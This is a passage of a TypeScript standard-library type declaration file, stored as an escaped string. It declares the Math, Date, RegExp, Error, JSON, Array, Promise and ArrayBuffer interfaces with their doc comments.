the natural logarithm (base e) of a number.\\n      * @param x A numeric expression.\\n      */\\n    log(x: number): number;\\n    /**\\n      * Returns the larger of a set of supplied numeric expressions.\\n      * @param values Numeric expressions to be evaluated.\\n      */\\n    max(...values: number[]): number;\\n    /**\\n      * Returns the smaller of a set of supplied numeric expressions.\\n      * @param values Numeric expressions to be evaluated.\\n      */\\n    min(...values: number[]): number;\\n    /**\\n      * Returns the value of a base expression taken to a specified power.\\n      * @param x The base value of the expression.\\n      * @param y The exponent value of the expression.\\n      */\\n    pow(x: number, y: number): number;\\n    /** Returns a pseudorandom number between 0 and 1. */\\n    random(): number;\\n    /**\\n      * Returns a supplied numeric expression rounded to the nearest number.\\n      * @param x The value to be rounded to the nearest number.\\n      */\\n    round(x: number): number;\\n    /**\\n      * Returns the sine of a number.\\n      * @param x A numeric expression that contains an angle measured in radians.\\n      */\\n    sin(x: number): number;\\n    /**\\n      * Returns the square root of a number.\\n      * @param x A numeric expression.\\n      */\\n    sqrt(x: number): number;\\n    /**\\n      * Returns the tangent of a number.\\n      * @param x A numeric expression that contains an angle measured in radians.\\n      */\\n    tan(x: number): number;\\n}\\n/** An intrinsic object that provides basic mathematics functionality and constants. */\\ndeclare const Math: Math;\\n\\n/** Enables basic storage and retrieval of dates and times. */\\ninterface Date {\\n    /** Returns a string representation of a date. The format of the string depends on the locale. */\\n    toString(): string;\\n    /** Returns a date as a string value. */\\n    toDateString(): string;\\n    /** Returns a time as a string value. */\\n    toTimeString(): string;\\n    /** Returns a value as a string value appropriate to the host environment\\'s current locale. */\\n    toLocaleString(): string;\\n    /** Returns a date as a string value appropriate to the host environment\\'s current locale. */\\n    toLocaleDateString(): string;\\n    /** Returns a time as a string value appropriate to the host environment\\'s current locale. */\\n    toLocaleTimeString(): string;\\n    /** Returns the stored time value in milliseconds since midnight, January 1, 1970 UTC. */\\n    valueOf(): number;\\n    /** Gets the time value in milliseconds. */\\n    getTime(): number;\\n    /** Gets the year, using local time. */\\n    getFullYear(): number;\\n    /** Gets the year using Universal Coordinated Time (UTC). */\\n    getUTCFullYear(): number;\\n    /** Gets the month, using local time. */\\n    getMonth(): number;\\n    /** Gets the month of a Date object using Universal Coordinated Time (UTC). */\\n    getUTCMonth(): number;\\n    /** Gets the day-of-the-month, using local time. */\\n    getDate(): number;\\n    /** Gets the day-of-the-month, using Universal Coordinated Time (UTC). */\\n    getUTCDate(): number;\\n    /** Gets the day of the week, using local time. */\\n    getDay(): number;\\n    /** Gets the day of the week using Universal Coordinated Time (UTC). */\\n    getUTCDay(): number;\\n    /** Gets the hours in a date, using local time. */\\n    getHours(): number;\\n    /** Gets the hours value in a Date object using Universal Coordinated Time (UTC). */\\n    getUTCHours(): number;\\n    /** Gets the minutes of a Date object, using local time. */\\n    getMinutes(): number;\\n    /** Gets the minutes of a Date object using Universal Coordinated Time (UTC). */\\n    getUTCMinutes(): number;\\n    /** Gets the seconds of a Date object, using local time. */\\n    getSeconds(): number;\\n    /** Gets the seconds of a Date object using Universal Coordinated Time (UTC). */\\n    getUTCSeconds(): number;\\n    /** Gets the milliseconds of a Date, using local time. */\\n    getMilliseconds(): number;\\n    /** Gets the milliseconds of a Date object using Universal Coordinated Time (UTC). */\\n    getUTCMilliseconds(): number;\\n    /** Gets the difference in minutes between the time on the local computer and Universal Coordinated Time (UTC). */\\n    getTimezoneOffset(): number;\\n    /**\\n      * Sets the date and time value in the Date object.\\n      * @param time A numeric value representing the number of elapsed milliseconds since midnight, January 1, 1970 GMT.\\n      */\\n    setTime(time: number): number;\\n    /**\\n      * Sets the milliseconds value in the Date object using local time.\\n      * @param ms A numeric value equal to the millisecond value.\\n      */\\n    setMilliseconds(ms: number): number;\\n    /**\\n      * Sets the milliseconds value in the Date object using Universal Coordinated Time (UTC).\\n      * @param ms A numeric value equal to the millisecond value.\\n      */\\n    setUTCMilliseconds(ms: number): number;\\n\\n    /**\\n      * Sets the seconds value in the Date object using local time.\\n      * @param sec A numeric value equal to the seconds value.\\n      * @param ms A numeric value equal to the milliseconds value.\\n      */\\n    setSeconds(sec: number, ms?: number): number;\\n    /**\\n      * Sets the seconds value in the Date object using Universal Coordinated Time (UTC).\\n      * @param sec A numeric value equal to the seconds value.\\n      * @param ms A numeric value equal to the milliseconds value.\\n      */\\n    setUTCSeconds(sec: number, ms?: number): number;\\n    /**\\n      * Sets the minutes value in the Date object using local time.\\n      * @param min A numeric value equal to the minutes value.\\n      * @param sec A numeric value equal to the seconds value.\\n      * @param ms A numeric value equal to the milliseconds value.\\n      */\\n    setMinutes(min: number, sec?: number, ms?: number): number;\\n    /**\\n      * Sets the minutes value in the Date object using Universal Coordinated Time (UTC).\\n      * @param min A numeric value equal to the minutes value.\\n      * @param sec A numeric value equal to the seconds value.\\n      * @param ms A numeric value equal to the milliseconds value.\\n      */\\n    setUTCMinutes(min: number, sec?: number, ms?: number): number;\\n    /**\\n      * Sets the hour value in the Date object using local time.\\n      * @param hours A numeric value equal to the hours value.\\n      * @param min A numeric value equal to the minutes value.\\n      * @param sec A numeric value equal to the seconds value.\\n      * @param ms A numeric value equal to the milliseconds value.\\n      */\\n    setHours(hours: number, min?: number, sec?: number, ms?: number): number;\\n    /**\\n      * Sets the hours value in the Date object using Universal Coordinated Time (UTC).\\n      * @param hours A numeric value equal to the hours value.\\n      * @param min A numeric value equal to the minutes value.\\n      * @param sec A numeric value equal to the seconds value.\\n      * @param ms A numeric value equal to the milliseconds value.\\n      */\\n    setUTCHours(hours: number, min?: number, sec?: number, ms?: number): number;\\n    /**\\n      * Sets the numeric day-of-the-month value of the Date object using local time.\\n      * @param date A numeric value equal to the day of the month.\\n      */\\n    setDate(date: number): number;\\n    /**\\n      * Sets the numeric day of the month in the Date object using Universal Coordinated Time (UTC).\\n      * @param date A numeric value equal to the day of the month.\\n      */\\n    setUTCDate(date: number): number;\\n    /**\\n      * Sets the month value in the Date object using local time.\\n      * @param month A numeric value equal to the month. The value for January is 0, and other month values follow consecutively.\\n      * @param date A numeric value representing the day of the month. If this value is not supplied, the value from a call to the getDate method is used.\\n      */\\n    setMonth(month: number, date?: number): number;\\n    /**\\n      * Sets the month value in the Date object using Universal Coordinated Time (UTC).\\n      * @param month A numeric value equal to the month. The value for January is 0, and other month values follow consecutively.\\n      * @param date A numeric value representing the day of the month. If it is not supplied, the value from a call to the getUTCDate method is used.\\n      */\\n    setUTCMonth(month: number, date?: number): number;\\n    /**\\n      * Sets the year of the Date object using local time.\\n      * @param year A numeric value for the year.\\n      * @param month A zero-based numeric value for the month (0 for January, 11 for December). Must be specified if numDate is specified.\\n      * @param date A numeric value equal for the day of the month.\\n      */\\n    setFullYear(year: number, month?: number, date?: number): number;\\n    /**\\n      * Sets the year value in the Date object using Universal Coordinated Time (UTC).\\n      * @param year A numeric value equal to the year.\\n      * @param month A numeric value equal to the month. The value for January is 0, and other month values follow consecutively. Must be supplied if numDate is supplied.\\n      * @param date A numeric value equal to the day of the month.\\n      */\\n    setUTCFullYear(year: number, month?: number, date?: number): number;\\n    /** Returns a date converted to a string using Universal Coordinated Time (UTC). */\\n    toUTCString(): string;\\n    /** Returns a date as a string value in ISO format. */\\n    toISOString(): string;\\n    /** Used by the JSON.stringify method to enable the transformation of an object\\'s data for JavaScript Object Notation (JSON) serialization. */\\n    toJSON(key?: any): string;\\n}\\n\\ninterface DateConstructor {\\n    new(): Date;\\n    new(value: number): Date;\\n    new(value: string): Date;\\n    new(year: number, month: number, date?: number, hours?: number, minutes?: number, seconds?: number, ms?: number): Date;\\n    (): string;\\n    readonly prototype: Date;\\n    /**\\n      * Parses a string containing a date, and returns the number of milliseconds between that date and midnight, January 1, 1970.\\n      * @param s A date string\\n      */\\n    parse(s: string): number;\\n    /**\\n      * Returns the number of milliseconds between midnight, January 1, 1970 Universal Coordinated Time (UTC) (or GMT) and the specified date.\\n      * @param year The full year designation is required for cross-century date accuracy. If year is between 0 and 99 is used, then year is assumed to be 1900 + year.\\n      * @param month The month as an number between 0 and 11 (January to December).\\n      * @param date The date as an number between 1 and 31.\\n      * @param hours Must be supplied if minutes is supplied. An number from 0 to 23 (midnight to 11pm) that specifies the hour.\\n      * @param minutes Must be supplied if seconds is supplied. An number from 0 to 59 that specifies the minutes.\\n      * @param seconds Must be supplied if milliseconds is supplied. An number from 0 to 59 that specifies the seconds.\\n      * @param ms An number from 0 to 999 that specifies the milliseconds.\\n      */\\n    UTC(year: number, month: number, date?: number, hours?: number, minutes?: number, seconds?: number, ms?: number): number;\\n    now(): number;\\n}\\n\\ndeclare const Date: DateConstructor;\\n\\ninterface RegExpMatchArray extends Array<string> {\\n    index?: number;\\n    input?: string;\\n}\\n\\ninterface RegExpExecArray extends Array<string> {\\n    index: number;\\n    input: string;\\n}\\n\\ninterface RegExp {\\n    /**\\n      * Executes a search on a string using a regular expression pattern, and returns an array containing the results of that search.\\n      * @param string The String object or string literal on which to perform the search.\\n      */\\n    exec(string: string): RegExpExecArray | null;\\n\\n    /**\\n      * Returns a Boolean value that indicates whether or not a pattern exists in a searched string.\\n      * @param string String on which to perform the search.\\n      */\\n    test(string: string): boolean;\\n\\n    /** Returns a copy of the text of the regular expression pattern. Read-only. The regExp argument is a Regular expression object. It can be a variable name or a literal. */\\n    readonly source: string;\\n\\n    /** Returns a Boolean value indicating the state of the global flag (g) used with a regular expression. Default is false. Read-only. */\\n    readonly global: boolean;\\n\\n    /** Returns a Boolean value indicating the state of the ignoreCase flag (i) used with a regular expression. Default is false. Read-only. */\\n    readonly ignoreCase: boolean;\\n\\n    /** Returns a Boolean value indicating the state of the multiline flag (m) used with a regular expression. Default is false. Read-only. */\\n    readonly multiline: boolean;\\n\\n    lastIndex: number;\\n\\n    // Non-standard extensions\\n    compile(): this;\\n}\\n\\ninterface RegExpConstructor {\\n    new(pattern: RegExp | string): RegExp;\\n    new(pattern: string, flags?: string): RegExp;\\n    (pattern: RegExp | string): RegExp;\\n    (pattern: string, flags?: string): RegExp;\\n    readonly prototype: RegExp;\\n\\n    // Non-standard extensions\\n    $1: string;\\n    $2: string;\\n    $3: string;\\n    $4: string;\\n    $5: string;\\n    $6: string;\\n    $7: string;\\n    $8: string;\\n    $9: string;\\n    lastMatch: string;\\n}\\n\\ndeclare const RegExp: RegExpConstructor;\\n\\ninterface Error {\\n    name: string;\\n    message: string;\\n    stack?: string;\\n}\\n\\ninterface ErrorConstructor {\\n    new(message?: string): Error;\\n    (message?: string): Error;\\n    readonly prototype: Error;\\n}\\n\\ndeclare const Error: ErrorConstructor;\\n\\ninterface EvalError extends Error {\\n}\\n\\ninterface EvalErrorConstructor {\\n    new(message?: string): EvalError;\\n    (message?: string): EvalError;\\n    readonly prototype: EvalError;\\n}\\n\\ndeclare const EvalError: EvalErrorConstructor;\\n\\ninterface RangeError extends Error {\\n}\\n\\ninterface RangeErrorConstructor {\\n    new(message?: string): RangeError;\\n    (message?: string): RangeError;\\n    readonly prototype: RangeError;\\n}\\n\\ndeclare const RangeError: RangeErrorConstructor;\\n\\ninterface ReferenceError extends Error {\\n}\\n\\ninterface ReferenceErrorConstructor {\\n    new(message?: string): ReferenceError;\\n    (message?: string): ReferenceError;\\n    readonly prototype: ReferenceError;\\n}\\n\\ndeclare const ReferenceError: ReferenceErrorConstructor;\\n\\ninterface SyntaxError extends Error {\\n}\\n\\ninterface SyntaxErrorConstructor {\\n    new(message?: string): SyntaxError;\\n    (message?: string): SyntaxError;\\n    readonly prototype: SyntaxError;\\n}\\n\\ndeclare const SyntaxError: SyntaxErrorConstructor;\\n\\ninterface TypeError extends Error {\\n}\\n\\ninterface TypeErrorConstructor {\\n    new(message?: string): TypeError;\\n    (message?: string): TypeError;\\n    readonly prototype: TypeError;\\n}\\n\\ndeclare const TypeError: TypeErrorConstructor;\\n\\ninterface URIError extends Error {\\n}\\n\\ninterface URIErrorConstructor {\\n    new(message?: string): URIError;\\n    (message?: string): URIError;\\n    readonly prototype: URIError;\\n}\\n\\ndeclare const URIError: URIErrorConstructor;\\n\\ninterface JSON {\\n    /**\\n      * Converts a JavaScript Object Notation (JSON) string into an object.\\n      * @param text A valid JSON string.\\n      * @param reviver A function that transforms the results. This function is called for each member of the object.\\n      * If a member contains nested objects, the nested objects are transformed before the parent object is.\\n      */\\n    parse(text: string, reviver?: (key: any, value: any) => any): any;\\n    /**\\n      * Converts a JavaScript value to a JavaScript Object Notation (JSON) string.\\n      * @param value A JavaScript value, usually an object or array, to be converted.\\n      * @param replacer A function that transforms the results.\\n      * @param space Adds indentation, white space, and line break characters to the return-value JSON text to make it easier to read.\\n      */\\n    stringify(value: any, replacer?: (key: string, value: any) => any, space?: string | number): string;\\n    /**\\n      * Converts a JavaScript value to a JavaScript Object Notation (JSON) string.\\n      * @param value A JavaScript value, usually an object or array, to be converted.\\n      * @param replacer An array of strings and numbers that acts as a approved list for selecting the object properties that will be stringified.\\n      * @param space Adds indentation, white space, and line break characters to the return-value JSON text to make it easier to read.\\n      */\\n    stringify(value: any, replacer?: (number | string)[] | null, space?: string | number): string;\\n}\\n\\n/**\\n  * An intrinsic object that provides functions to convert JavaScript values to and from the JavaScript Object Notation (JSON) format.\\n  */\\ndeclare const JSON: JSON;\\n\\n\\n/////////////////////////////\\n/// ECMAScript Array API (specially handled by compiler)\\n/////////////////////////////\\n\\ninterface ReadonlyArray<T> {\\n    /**\\n      * Gets the length of the array. This is a number one higher than the highest element defined in an array.\\n      */\\n    readonly length: number;\\n    /**\\n      * Returns a string representation of an array.\\n      */\\n    toString(): string;\\n    /**\\n      * Returns a string representation of an array. The elements are converted to string using thier toLocalString methods.\\n      */\\n    toLocaleString(): string;\\n    /**\\n      * Combines two or more arrays.\\n      * @param items Additional items to add to the end of array1.\\n      */\\n    concat(...items: T[][]): T[];\\n    /**\\n      * Combines two or more arrays.\\n      * @param items Additional items to add to the end of array1.\\n      */\\n    concat(...items: (T | T[])[]): T[];\\n    /**\\n      * Adds all the elements of an array separated by the specified separator string.\\n      * @param separator A string used to separate one element of an array from the next in the resulting String. If omitted, the array elements are separated with a comma.\\n      */\\n    join(separator?: string): string;\\n    /**\\n      * Returns a section of an array.\\n      * @param start The beginning of the specified portion of the array.\\n      * @param end The end of the specified portion of the array.\\n      */\\n    slice(start?: number, end?: number): T[];\\n    /**\\n      * Returns the index of the first occurrence of a value in an array.\\n      * @param searchElement The value to locate in the array.\\n      * @param fromIndex The array index at which to begin the search. If fromIndex is omitted, the search starts at index 0.\\n      */\\n    indexOf(searchElement: T, fromIndex?: number): number;\\n    /**\\n      * Returns the index of the last occurrence of a specified value in an array.\\n      * @param searchElement The value to locate in the array.\\n      * @param fromIndex The array index at which to begin the search. If fromIndex is omitted, the search starts at the last index in the array.\\n      */\\n    lastIndexOf(searchElement: T, fromIndex?: number): number;\\n    /**\\n      * Determines whether all the members of an array satisfy the specified test.\\n      * @param callbackfn A function that accepts up to three arguments. The every method calls the callbackfn function for each element in array1 until the callbackfn returns false, or until the end of the array.\\n      * @param thisArg An object to which the this keyword can refer in the callbackfn function. If thisArg is omitted, undefined is used as the this value.\\n      */\\n    every(callbackfn: (value: T, index: number, array: ReadonlyArray<T>) => boolean, thisArg?: any): boolean;\\n    /**\\n      * Determines whether the specified callback function returns true for any element of an array.\\n      * @param callbackfn A function that accepts up to three arguments. The some method calls the callbackfn function for each element in array1 until the callbackfn returns true, or until the end of the array.\\n      * @param thisArg An object to which the this keyword can refer in the callbackfn function. If thisArg is omitted, undefined is used as the this value.\\n      */\\n    some(callbackfn: (value: T, index: number, array: ReadonlyArray<T>) => boolean, thisArg?: any): boolean;\\n    /**\\n      * Performs the specified action for each element in an array.\\n      * @param callbackfn  A function that accepts up to three arguments. forEach calls the callbackfn function one time for each element in the array.\\n      * @param thisArg  An object to which the this keyword can refer in the callbackfn function. If thisArg is omitted, undefined is used as the this value.\\n      */\\n    forEach(callbackfn: (value: T, index: number, array: ReadonlyArray<T>) => void, thisArg?: any): void;\\n    /**\\n      * Calls a defined callback function on each element of an array, and returns an array that contains the results.\\n      * @param callbackfn A function that accepts up to three arguments. The map method calls the callbackfn function one time for each element in the array.\\n      * @param thisArg An object to which the this keyword can refer in the callbackfn function. If thisArg is omitted, undefined is used as the this value.\\n      */\\n    map<U>(callbackfn: (value: T, index: number, array: ReadonlyArray<T>) => U, thisArg?: any): U[];\\n    /**\\n     * Returns the elements of an array that meet the condition specified in a callback function.\\n     * @param callbackfn A function that accepts up to three arguments. The filter method calls the callbackfn function one time for each element in the array.\\n     * @param thisArg An object to which the this keyword can refer in the callbackfn function. If thisArg is omitted, undefined is used as the this value.\\n     */\\n    filter<S extends T>(callbackfn: (value: T, index: number, array: ReadonlyArray<T>) => value is S, thisArg?: any): S[];\\n    /**\\n      * Returns the elements of an array that meet the condition specified in a callback function.\\n      * @param callbackfn A function that accepts up to three arguments. The filter method calls the callbackfn function one time for each element in the array.\\n      * @param thisArg An object to which the this keyword can refer in the callbackfn function. If thisArg is omitted, undefined is used as the this value.\\n      */\\n    filter(callbackfn: (value: T, index: number, array: ReadonlyArray<T>) => any, thisArg?: any): T[];\\n    /**\\n      * Calls the specified callback function for all the elements in an array. The return value of the callback function is the accumulated result, and is provided as an argument in the next call to the callback function.\\n      * @param callbackfn A function that accepts up to four arguments. The reduce method calls the callbackfn function one time for each element in the array.\\n      * @param initialValue If initialValue is specified, it is used as the initial value to start the accumulation. The first call to the callbackfn function provides this value as an argument instead of an array value.\\n      */\\n    reduce(callbackfn: (previousValue: T, currentValue: T, currentIndex: number, array: ReadonlyArray<T>) => T, initialValue?: T): T;\\n    /**\\n      * Calls the specified callback function for all the elements in an array. The return value of the callback function is the accumulated result, and is provided as an argument in the next call to the callback function.\\n      * @param callbackfn A function that accepts up to four arguments. The reduce method calls the callbackfn function one time for each element in the array.\\n      * @param initialValue If initialValue is specified, it is used as the initial value to start the accumulation. The first call to the callbackfn function provides this value as an argument instead of an array value.\\n      */\\n    reduce<U>(callbackfn: (previousValue: U, currentValue: T, currentIndex: number, array: ReadonlyArray<T>) => U, initialValue: U): U;\\n    /**\\n      * Calls the specified callback function for all the elements in an array, in descending order. The return value of the callback function is the accumulated result, and is provided as an argument in the next call to the callback function.\\n      * @param callbackfn A function that accepts up to four arguments. The reduceRight method calls the callbackfn function one time for each element in the array.\\n      * @param initialValue If initialValue is specified, it is used as the initial value to start the accumulation. The first call to the callbackfn function provides this value as an argument instead of an array value.\\n      */\\n    reduceRight(callbackfn: (previousValue: T, currentValue: T, currentIndex: number, array: ReadonlyArray<T>) => T, initialValue?: T): T;\\n    /**\\n      * Calls the specified callback function for all the elements in an array, in descending order. The return value of the callback function is the accumulated result, and is provided as an argument in the next call to the callback function.\\n      * @param callbackfn A function that accepts up to four arguments. The reduceRight method calls the callbackfn function one time for each element in the array.\\n      * @param initialValue If initialValue is specified, it is used as the initial value to start the accumulation. The first call to the callbackfn function provides this value as an argument instead of an array value.\\n      */\\n    reduceRight<U>(callbackfn: (previousValue: U, currentValue: T, currentIndex: number, array: ReadonlyArray<T>) => U, initialValue: U): U;\\n\\n    readonly [n: number]: T;\\n}\\n\\ninterface Array<T> {\\n    /**\\n      * Gets or sets the length of the array. This is a number one higher than the highest element defined in an array.\\n      */\\n    length: number;\\n    /**\\n      * Returns a string representation of an array.\\n      */\\n    toString(): string;\\n    /**\\n      * Returns a string representation of an array. The elements are converted to string using thier toLocalString methods.\\n      */\\n    toLocaleString(): string;\\n    /**\\n      * Appends new elements to an array, and returns the new length of the array.\\n      * @param items New elements of the Array.\\n      */\\n    push(...items: T[]): number;\\n    /**\\n      * Removes the last element from an array and returns it.\\n      */\\n    pop(): T | undefined;\\n    /**\\n      * Combines two or more arrays.\\n      * @param items Additional items to add to the end of array1.\\n      */\\n    concat(...items: T[][]): T[];\\n    /**\\n      * Combines two or more arrays.\\n      * @param items Additional items to add to the end of array1.\\n      */\\n    concat(...items: (T | T[])[]): T[];\\n    /**\\n      * Adds all the elements of an array separated by the specified separator string.\\n      * @param separator A string used to separate one element of an array from the next in the resulting String. If omitted, the array elements are separated with a comma.\\n      */\\n    join(separator?: string): string;\\n    /**\\n      * Reverses the elements in an Array.\\n      */\\n    reverse(): T[];\\n    /**\\n      * Removes the first element from an array and returns it.\\n      */\\n    shift(): T | undefined;\\n    /**\\n      * Returns a section of an array.\\n      * @param start The beginning of the specified portion of the array.\\n      * @param end The end of the specified portion of the array.\\n      */\\n    slice(start?: number, end?: number): T[];\\n    /**\\n      * Sorts an array.\\n      * @param compareFn The name of the function used to determine the order of the elements. If omitted, the elements are sorted in ascending, ASCII character order.\\n      */\\n    sort(compareFn?: (a: T, b: T) => number): this;\\n    /**\\n      * Removes elements from an array and, if necessary, inserts new elements in their place, returning the deleted elements.\\n      * @param start The zero-based location in the array from which to start removing elements.\\n      * @param deleteCount The number of elements to remove.\\n      */\\n    splice(start: number, deleteCount?: number): T[];\\n    /**\\n      * Removes elements from an array and, if necessary, inserts new elements in their place, returning the deleted elements.\\n      * @param start The zero-based location in the array from which to start removing elements.\\n      * @param deleteCount The number of elements to remove.\\n      * @param items Elements to insert into the array in place of the deleted elements.\\n      */\\n    splice(start: number, deleteCount: number, ...items: T[]): T[];\\n    /**\\n      * Inserts new elements at the start of an array.\\n      * @param items  Elements to insert at the start of the Array.\\n      */\\n    unshift(...items: T[]): number;\\n    /**\\n      * Returns the index of the first occurrence of a value in an array.\\n      * @param searchElement The value to locate in the array.\\n      * @param fromIndex The array index at which to begin the search. If fromIndex is omitted, the search starts at index 0.\\n      */\\n    indexOf(searchElement: T, fromIndex?: number): number;\\n    /**\\n      * Returns the index of the last occurrence of a specified value in an array.\\n      * @param searchElement The value to locate in the array.\\n      * @param fromIndex The array index at which to begin the search. If fromIndex is omitted, the search starts at the last index in the array.\\n      */\\n    lastIndexOf(searchElement: T, fromIndex?: number): number;\\n    /**\\n      * Determines whether all the members of an array satisfy the specified test.\\n      * @param callbackfn A function that accepts up to three arguments. The every method calls the callbackfn function for each element in array1 until the callbackfn returns false, or until the end of the array.\\n      * @param thisArg An object to which the this keyword can refer in the callbackfn function. If thisArg is omitted, undefined is used as the this value.\\n      */\\n    every(callbackfn: (value: T, index: number, array: T[]) => boolean, thisArg?: any): boolean;\\n    /**\\n      * Determines whether the specified callback function returns true for any element of an array.\\n      * @param callbackfn A function that accepts up to three arguments. The some method calls the callbackfn function for each element in array1 until the callbackfn returns true, or until the end of the array.\\n      * @param thisArg An object to which the this keyword can refer in the callbackfn function. If thisArg is omitted, undefined is used as the this value.\\n      */\\n    some(callbackfn: (value: T, index: number, array: T[]) => boolean, thisArg?: any): boolean;\\n    /**\\n      * Performs the specified action for each element in an array.\\n      * @param callbackfn  A function that accepts up to three arguments. forEach calls the callbackfn function one time for each element in the array.\\n      * @param thisArg  An object to which the this keyword can refer in the callbackfn function. If thisArg is omitted, undefined is used as the this value.\\n      */\\n    forEach(callbackfn: (value: T, index: number, array: T[]) => void, thisArg?: any): void;\\n    /**\\n      * Calls a defined callback function on each element of an array, and returns an array that contains the results.\\n      * @param callbackfn A function that accepts up to three arguments. The map method calls the callbackfn function one time for each element in the array.\\n      * @param thisArg An object to which the this keyword can refer in the callbackfn function. If thisArg is omitted, undefined is used as the this value.\\n      */\\n    map<U>(callbackfn: (value: T, index: number, array: T[]) => U, thisArg?: any): U[];\\n    /**\\n     * Returns the elements of an array that meet the condition specified in a callback function.\\n     * @param callbackfn A function that accepts up to three arguments. The filter method calls the callbackfn function one time for each element in the array.\\n     * @param thisArg An object to which the this keyword can refer in the callbackfn function. If thisArg is omitted, undefined is used as the this value.\\n     */\\n    filter<S extends T>(callbackfn: (value: T, index: number, array: T[]) => value is S, thisArg?: any): S[];\\n    /**\\n      * Returns the elements of an array that meet the condition specified in a callback function.\\n      * @param callbackfn A function that accepts up to three arguments. The filter method calls the callbackfn function one time for each element in the array.\\n      * @param thisArg An object to which the this keyword can refer in the callbackfn function. If thisArg is omitted, undefined is used as the this value.\\n      */\\n    filter(callbackfn: (value: T, index: number, array: T[]) => any, thisArg?: any): T[];\\n    /**\\n      * Calls the specified callback function for all the elements in an array. The return value of the callback function is the accumulated result, and is provided as an argument in the next call to the callback function.\\n      * @param callbackfn A function that accepts up to four arguments. The reduce method calls the callbackfn function one time for each element in the array.\\n      * @param initialValue If initialValue is specified, it is used as the initial value to start the accumulation. The first call to the callbackfn function provides this value as an argument instead of an array value.\\n      */\\n    reduce(callbackfn: (previousValue: T, currentValue: T, currentIndex: number, array: T[]) => T, initialValue?: T): T;\\n    /**\\n      * Calls the specified callback function for all the elements in an array. The return value of the callback function is the accumulated result, and is provided as an argument in the next call to the callback function.\\n      * @param callbackfn A function that accepts up to four arguments. The reduce method calls the callbackfn function one time for each element in the array.\\n      * @param initialValue If initialValue is specified, it is used as the initial value to start the accumulation. The first call to the callbackfn function provides this value as an argument instead of an array value.\\n      */\\n    reduce<U>(callbackfn: (previousValue: U, currentValue: T, currentIndex: number, array: T[]) => U, initialValue: U): U;\\n    /**\\n      * Calls the specified callback function for all the elements in an array, in descending order. The return value of the callback function is the accumulated result, and is provided as an argument in the next call to the callback function.\\n      * @param callbackfn A function that accepts up to four arguments. The reduceRight method calls the callbackfn function one time for each element in the array.\\n      * @param initialValue If initialValue is specified, it is used as the initial value to start the accumulation. The first call to the callbackfn function provides this value as an argument instead of an array value.\\n      */\\n    reduceRight(callbackfn: (previousValue: T, currentValue: T, currentIndex: number, array: T[]) => T, initialValue?: T): T;\\n    /**\\n      * Calls the specified callback function for all the elements in an array, in descending order. The return value of the callback function is the accumulated result, and is provided as an argument in the next call to the callback function.\\n      * @param callbackfn A function that accepts up to four arguments. The reduceRight method calls the callbackfn function one time for each element in the array.\\n      * @param initialValue If initialValue is specified, it is used as the initial value to start the accumulation. The first call to the callbackfn function provides this value as an argument instead of an array value.\\n      */\\n    reduceRight<U>(callbackfn: (previousValue: U, currentValue: T, currentIndex: number, array: T[]) => U, initialValue: U): U;\\n\\n    [n: number]: T;\\n}\\n\\ninterface ArrayConstructor {\\n    new(arrayLength?: number): any[];\\n    new <T>(arrayLength: number): T[];\\n    new <T>(...items: T[]): T[];\\n    (arrayLength?: number): any[];\\n    <T>(arrayLength: number): T[];\\n    <T>(...items: T[]): T[];\\n    isArray(arg: any): arg is Array<any>;\\n    readonly prototype: Array<any>;\\n}\\n\\ndeclare const Array: ArrayConstructor;\\n\\ninterface TypedPropertyDescriptor<T> {\\n    enumerable?: boolean;\\n    configurable?: boolean;\\n    writable?: boolean;\\n    value?: T;\\n    get?: () => T;\\n    set?: (value: T) => void;\\n}\\n\\ndeclare type ClassDecorator = <TFunction extends Function>(target: TFunction) => TFunction | void;\\ndeclare type PropertyDecorator = (target: Object, propertyKey: string | symbol) => void;\\ndeclare type MethodDecorator = <T>(target: Object, propertyKey: string | symbol, descriptor: TypedPropertyDescriptor<T>) => TypedPropertyDescriptor<T> | void;\\ndeclare type ParameterDecorator = (target: Object, propertyKey: string | symbol, parameterIndex: number) => void;\\n\\ndeclare type PromiseConstructorLike = new <T>(executor: (resolve: (value?: T | PromiseLike<T>) => void, reject: (reason?: any) => void) => void) => PromiseLike<T>;\\n\\ninterface PromiseLike<T> {\\n    /**\\n     * Attaches callbacks for the resolution and/or rejection of the Promise.\\n     * @param onfulfilled The callback to execute when the Promise is resolved.\\n     * @param onrejected The callback to execute when the Promise is rejected.\\n     * @returns A Promise for the completion of which ever callback is executed.\\n     */\\n    then<TResult1 = T, TResult2 = never>(onfulfilled?: ((value: T) => TResult1 | PromiseLike<TResult1>) | undefined | null, onrejected?: ((reason: any) => TResult2 | PromiseLike<TResult2>) | undefined | null): PromiseLike<TResult1 | TResult2>;\\n}\\n\\n/**\\n * Represents the completion of an asynchronous operation\\n */\\ninterface Promise<T> {\\n    /**\\n     * Attaches callbacks for the resolution and/or rejection of the Promise.\\n     * @param onfulfilled The callback to execute when the Promise is resolved.\\n     * @param onrejected The callback to execute when the Promise is rejected.\\n     * @returns A Promise for the completion of which ever callback is executed.\\n     */\\n    then<TResult1 = T, TResult2 = never>(onfulfilled?: ((value: T) => TResult1 | PromiseLike<TResult1>) | undefined | null, onrejected?: ((reason: any) => TResult2 | PromiseLike<TResult2>) | undefined | null): Promise<TResult1 | TResult2>;\\n\\n    /**\\n     * Attaches a callback for only the rejection of the Promise.\\n     * @param onrejected The callback to execute when the Promise is rejected.\\n     * @returns A Promise for the completion of the callback.\\n     */\\n    catch<TResult = never>(onrejected?: ((reason: any) => TResult | PromiseLike<TResult>) | undefined | null): Promise<T | TResult>;\\n}\\n\\ninterface ArrayLike<T> {\\n    readonly length: number;\\n    readonly [n: number]: T;\\n}\\n\\n/**\\n * Make all properties in T optional\\n */\\ntype Partial<T> = {\\n    [P in keyof T]?: T[P];\\n};\\n\\n/**\\n * Make all properties in T readonly\\n */\\ntype Readonly<T> = {\\n    readonly [P in keyof T]: T[P];\\n};\\n\\n/**\\n * From T pick a set of properties K\\n */\\ntype Pick<T, K extends keyof T> = {\\n    [P in K]: T[P];\\n};\\n\\n/**\\n * Construct a type with a set of properties K of type T\\n */\\ntype Record<K extends string, T> = {\\n    [P in K]: T;\\n};\\n\\n/**\\n * Marker for contextual \\'this\\' type\\n */\\ninterface ThisType<T> { }\\n\\n/**\\n  * Represents a raw buffer of binary data, which is used to store data for the\\n  * different typed arrays. ArrayBuffers cannot be read from or written to directly,\\n  * but can be passed to a typed array or DataView Object to interpret the raw\\n  * buffer as needed.\\n  */\\ninterface ArrayBuffer {\\n    /**\\n      * Read-only. The length of the ArrayBuffer (in bytes).\\n      */\\n    readonly byteLength: number;\\n\\n    /**\\n      * Returns a section of an ArrayBuffer.\\n      */\\n    slice(begin: number, end?: number): ArrayBuffer;\\n}\\n\\n/**\\n * 